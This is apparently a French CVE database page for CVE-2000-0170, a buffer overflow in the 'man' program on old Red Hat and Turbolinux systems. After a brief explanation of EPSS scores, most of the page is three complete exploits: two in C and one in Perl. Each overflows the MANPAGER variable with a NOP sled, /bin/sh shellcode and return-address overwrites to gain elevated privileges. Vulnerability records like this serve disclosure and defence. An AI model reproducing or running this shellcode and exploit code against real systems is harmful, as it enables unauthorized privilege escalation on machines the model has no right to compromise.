CVE-2000-0170 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/1011/info RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man. Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon looking up an altered manpage, code will be executed with the privileges of the person running man. If this person is the root user, root privileges can be obtained. */ /* * (c) 2000 babcia padlina / b0f * (lcamtuf's idea) * * redhat 6.1 /usr/bin/man exploit */ #include <stdio.h> #include <sys/param.h> #include <sys/stat.h> #include <string.h> #define NOP 0x90 #define OFS 1800 #define BUFSIZE 4002 #define ADDRS 1000 long getesp(void) { __asm__("movl %esp, %eax\n"); } int main(argc, argv) int argc; char **argv; { char *execshell = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char *buf, *p; int noplen, i, ofs; long ret, *ap; if(!(buf = (char *)malloc(BUFSIZE+ADDRS+1))) { perror("malloc()"); return -1; } if (argc > 1) ofs = atoi(argv[1]); else ofs = OFS; noplen = BUFSIZE - strlen(execshell); ret = getesp() + ofs; memset(buf, NOP, noplen); buf[noplen+1] = '\0'; strcat(buf, execshell); p = buf + noplen + strlen(execshell); ap = (unsigned long *)p; for(i = 0; i < ADDRS / 4; i++) *ap++ = ret; p = (char *)ap; *p = '\0'; fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf)); setenv("MANPAGER", buf, 1); execl("/usr/bin/man", "man", "ls", 0); return 0; }

/* source: https://www.securityfocus.com/bid/1011/info RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man. Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon looking up an altered manpage, code will be executed with the privileges of the person running man. If this person is the root user, root privileges can be obtained. */ /* * Rewriten from: * (c) 2000 babcia padlina / b0f * (lcamtuf's idea) * by Kil3r of Lam3rZ * for nonexec stack environment * * redhat 6.1 (and others) /usr/bin/man exploit */ char execshell[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; #include <stdio.h> #include <sys/param.h> #include <sys/stat.h> #include <string.h> #define STRCPY 0x80490e4 // <== strcpy() PLT entry #define GOT 0x805038c // <== strcpy() GOT entry #define NOP 0x90 #define BUFSIZE 4033+38 #define RET STRCPY //0x46464646 #define _BIN_SH 0xbfffffe7 // <== where we have "/bin/sh" string, // curently useless ;) #define SHELLCODE 0xbfffffc1 long getesp(void) { __asm__("movl %esp, %eax\n"); } int main(argc, argv) int argc; char **argv; { char buf[BUFSIZE], *p; char *env[3]; int *ap; memset(buf,NOP,BUFSIZE); p=buf+BUFSIZE-4; ap=(int *)p; *ap++ =RET; *ap++ =GOT+4; *ap++ =GOT+4; *ap++ =SHELLCODE; fprintf(stderr, "RET: 0x%x SHELLCODE: 0x%x", RET, SHELLCODE); memcpy(buf,"MANPAGER=", 9); env[0]=buf; // env[1]="/bin/sh"; env[1]=execshell; env[2]=(char *)0; execle("/usr/bin/man", "man", "ls", 0, env); // use execle to have // shellcode and other params at fixed addr!!! return 0; }

#!/usr/bin/perl ## Redhat 6.1 man exploit - gives egid 15 ## Written just for fun - teleh0r@doglover.com $shellcode = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07". "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b". "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff". "\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01"; $len = 4062; # -- Sufficient to overwrite EIP. $nop = "\x90"; # -- x86 NOP. $ret = 0xbfffbb24; # -- ESP / Return value. $offset = -800; # -- Default offset to try. if (@ARGV == 1) { $offset = $ARGV[0]; } for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) { $buffer .= $nop; } # [ Buffer: NNNNNNNNNNNNNN ] # Add the shellcode to the buffer. $buffer .= $shellcode; # [ Buffer: NNNNNNNNNNNNNNSSSSS ] $address = sprintf('%lx', ($ret + $offset)); $new_ret = pack('l', ($ret + $offset)); print("Address: 0x$address / Offset: $offset\n"); sleep(1); # Fill the rest of the buffer (length 100) with RET's. for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } # [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ] local($ENV{'MANPAGER'}) = $buffer; exec("/usr/bin/man id"); # milw0rm.com [2001-01-19]